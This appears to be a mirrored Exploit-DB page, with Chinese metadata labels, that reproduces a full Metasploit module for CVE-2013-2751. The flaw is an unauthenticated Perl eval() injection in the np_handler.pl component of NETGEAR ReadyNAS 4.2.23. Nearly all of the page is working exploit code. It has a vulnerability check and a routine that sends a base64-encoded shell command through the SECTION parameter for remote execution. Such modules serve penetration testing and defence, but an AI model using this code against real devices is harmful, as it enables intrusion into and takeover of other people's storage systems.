Netgear ReadyNAS – Perl Code Evaluation (Metasploit)

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• 86 阅读

• 作者： Metasploit
  日期： 2013-11-25
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/29815/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation',
  'Description'=> %q{
  This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
  vulnerability exists on the web fronted, specifically on the np_handler.pl component,
  due to the insecure usage of the eval() perl function. This module has been tested
  successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
  hardware.
  },
  'Author' =>
  [
  'Craig Young', # Vulnerability discovery
  'hdm',# diff the patch
  'juan vazquez'# Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2013-2751' ],
  [ 'OSVDB', '98826' ],
  [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
  [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
  ],
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'Privileged' => false,
  'Payload'=>
  {
  'Space' => 4096, # Has into account Apache request length and base64 ratio
  'DisableNops' => true,
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic perl telnet'
  }
  },
  'Targets'=>
  [
  [ 'NETGEAR ReadyNAS 4.2.23', { }]
  ],
  'DefaultOptions' =>
  {
  'SSL' => true
  },
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jul 12 2013'
  ))
  
  register_options(
  [
  Opt::RPORT(443)
  ], self.class)
  
  end
  
  def send_request_payload(payload)
  res = send_request_cgi({
  'uri' => normalize_uri("/np_handler", ""),
  'vars_get' => {
   'PAGE' =>'Nasstate',
   'OPERATION' => 'get',
   'SECTION' => payload
  }
  })
  return res
  end
  
  def check
  res = send_request_payload(")")
  if res and res.code == 200 and res.body =~ /syntax error at \(eval/
  return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
  print_status("#{peer} - Executing payload...")
  send_request_payload(my_payload)
  end
  
  end
  

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